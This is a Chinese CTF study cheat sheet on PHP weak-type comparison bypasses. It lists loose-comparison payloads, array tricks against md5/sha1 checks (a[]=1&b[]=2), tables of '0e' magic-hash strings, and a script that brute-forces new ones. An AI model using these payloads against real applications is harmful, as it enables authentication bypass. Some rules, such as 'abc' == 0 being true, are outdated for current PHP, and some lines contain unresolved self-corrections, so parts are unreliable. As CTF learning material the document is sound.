一、PHP弱类型比较(松散比较 ==)

1.1 字符串 → 数字转换

原理:字符串与数字 == 时,字符串提取开头的数字(直到非数字),无数字则为0。

积累清单(直接可用):

目标传入值示例说明
$var == 0 为真abc,0e123,0abcabc→0,0e123→0
$var == 1 为真1abc,1e0,+1提取数字1
$var == “0” 为真0e123,abc,0注意 “0e123” == “0” 也为真(两边都转数字)

1.2 布尔值比较

原理:true == x 时,x 转换为布尔值。除 0、""、null、[]、“0” 外均为真。

积累清单:

条件绕过payload
if($var == true)1,abc,[1],true(字符串)
if($var == false)0,""(空字符串),null(不传或传null字符串? 注意:“null” 为真,应传空)

1.3 NULL 比较

原理:NULL == x 时,x 为 “"、0、false、[] 等均成立。

积累清单:

条件绕过 payload
$var == NULLvar=(空字符串),var=0,var=false

原理:默认松散比较(第三个参数默认为 false),类型转换后判断。

积累清单:

// 目标数组
$allow = [0, 1, 2];
// 绕过:传入 "abc" 因为 "abc" == 0 → true,认为在数组内
// 绕过:传入 "1abc" 因为 "1abc" == 1 → true

常见绕过值:

若数组含 0:abc、0e123、null(作为字符串? 注意 “null” 不转换,需传空字符串?空字符串 == 0 为真)

若数组含 1:1abc、true(字符串 “true” 转数字0?不对,“true” == 1 为 false,因为 “true” 无数字→0。应传 “1abc”)

万能绕过:若数组元素为字符串如 “admin”,可传 0?因为 0 == “admin” 为 true(字符串无数字→0)。所以用数字0可绕过任何非数字字符串的in_array。

1.5 数组与字符串比较

原理:md5($_GET[‘a’]) == md5($_GET[‘b’]) 且无类型限制时,传数组使 md5([]) 返回 NULL。

积累清单:

场景payload
md5($a) == md5($b)a[]=1&b[]=2
md5($a) === md5($b)同上(NULL === NULL 为真)
sha1($a) == sha1($b)a[]=1&b[]=2

注意:PHP 会报 Warning,但不影响结果。

二、MD5 碰撞(哈希绕过)

2.1 0e 碰撞(松散比较 ==)

原理:两个字符串的 MD5 值都以 0e 开头且后面全为数字,则 == 比较时均视为 0,判定相等。

积累清单:直接复制以下字符串到参数中。

全字母类(用于 ctype_alpha)

字符串MD5 值
QNKCDZO0e830400451993494058024219903391
aabg7XSs0e087386482136013740957780965295
aabC9RqS0e041022518165728065344349536299

全数字类(用于 is_numeric 或纯数字限制)

字符串MD5 值
2406107080e462097431906509019562988736854
1295819262116515719124667416518786849280e395398819683822636810253424488792
3142824220e784681856360276065847126705975

字母数字混合类(用于 ctype_alnum)

字符串MD5 值
s878926199a0e545993274517709034328855841020
s155964671a0e342768416822451524974117254469
s214587387a0e848240448830537924465865611904

SHA1 0e 碰撞(用于 sha1 且 ==)

字符串SHA1 值
aaroZmOk0e66507019969427134894567494305185566735
aaK1STfY0e76658526655756207688271159624026011393

2.2 真正 MD5 碰撞(严格比较 ===)

原理:两个不同内容产生完全相同的 MD5 二进制/十六进制值。需要工具生成。

工具:fastcoll(生成两个不同文件,MD5 相同)

在线示例(短字符串碰撞较少,通常用二进制数据)。CTF 中若遇 === 且不能传数组,可能需要文件上传或 base64 编码的碰撞块。常用碰撞对(十六进制表示)可从网上获取,例如:

d131dd02c5e6eec4 693d9a0698aff95c 2fcab58712467eab 4004583eb8fb7f89
55ad340609f4b302 83e488832571415a 085125e8f7cdc99f d91dbdf280373c5b
d8823e3156348f5b ae6dacd436c919c6 dd53e2b487da03fd 02396306d248cda0
e99f33420f577ee8 ce54b67080a80d1e c69821bcb6a88393 96f9652b6ff72a70

与另一个略有差异的块。但这种长度较长,不适用于 GET 参数。实际做题时优先考虑数组绕过。

2.3 数组绕过(适用于 === 且无类型检查)

原理:md5([]) 返回 NULL,NULL === NULL 成立。

// 目标代码
if (md5($_GET['a']) === md5($_GET['b'])) { ... }
// 攻击
?a[]=1&b[]=2

同样适用于 sha1。

三、常见函数限制及其绕过对照表

函数/条件要求可用的绕过字符串/值
ctype_alpha($s)全字母QNKCDZO, aabg7XSs, aabC9RqS
ctype_alnum($s)字母或数字s878926199a, QNKCDZO, 240610708
is_numeric($s)数字字符串240610708, 129581926211651571912466741651878684928, 0e123
is_string($s)字符串任意字符串,注意数组不行
preg_match(’/^\d+$/’, $s)纯数字同上数字碰撞串
preg_match(’/^[a-z]+$/i’, $s)纯字母同上字母碰撞串

四、做题快速排查步骤

拿到一个涉及比较的 PHP 题目,按顺序检查:

比较运算符是 == 还是 ===?

如果是 ==,优先考虑 0e 碰撞(哈希)或类型转换(如字符串 “abc” == 0)。

如果是 ===,考虑数组绕过或真正碰撞。

有无类型限制?

ctype_alpha → 必须用全字母碰撞串。

is_numeric → 必须用全数字碰撞串。

无限制 → 数组绕过最省事。

比较的是哈希函数?

md5、sha1 均可使用上述碰撞表或数组。

其他哈希(如 hash(‘md5’, …))同样适用。

能否传数组?

GET/POST 传 a[]=1 可行,则优先数组绕过(适用 ===)。

是否还有其他过滤(如长度、特殊字符)?

检查碰撞串长度是否满足。若长度限制很小(如小于5),则0e碰撞可能不存在,需另寻其他弱类型比较(如 “0” == “0e123”)。

五、本地生成新碰撞的脚本(应急用)

若已知碰撞表不满足过滤条件(例如要求首字符为 x 且全字母),可跑脚本:

import hashlib
import itertools
import string

# 生成纯字母组合(长度可调)
for length in range(1, 8):
    for combo in itertools.product(string.ascii_letters, repeat=length):
        s = ''.join(combo)
        md5_val = hashlib.md5(s.encode()).hexdigest()
        if md5_val.startswith('0e') and md5_val[2:].isdigit():
            print(f"{s} -> {md5_val}")

数字碰撞遍历更简单:for i in range(10000000): 即可。

六、经验总结

松散比较 ==:记住 0e 碰撞表 和 字符串转数字为0 的规则。

严格比较 ===:记住数组绕过 ?a[]=1&b[]=2。

遇到限制:从表中筛选符合字符集的碰撞串。

没有现成碰撞:跑脚本或换思路(如利用 “abc” == 0 配合 in_array)。